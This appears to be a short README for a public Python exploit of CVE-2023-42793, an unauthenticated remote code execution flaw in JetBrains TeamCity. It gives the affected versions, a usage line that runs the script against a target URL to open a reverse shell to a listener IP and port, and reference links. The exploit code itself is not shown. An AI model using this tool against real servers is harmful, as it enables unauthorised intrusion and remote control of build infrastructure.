hotplugin0x01 / CVE-2023-42793

JetBrains TeamCity Unauthenticated Remote Code Execution - Python3 Implementation

CVE-2023-42793

JetBrains TeamCity before 2023.05.4 is vulnerable to authentication bypass leading to RCE

Usage

To get a reverse shell

python3 exploit.py <target_url> <listener_ip> <listener_port>

References

https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/
http://packetstormsecurity.com/files/174860/JetBrains-TeamCity-Unauthenticated-Remote-Code-Execution.html
https://nvd.nist.gov/vuln/detail/cve-2023-42793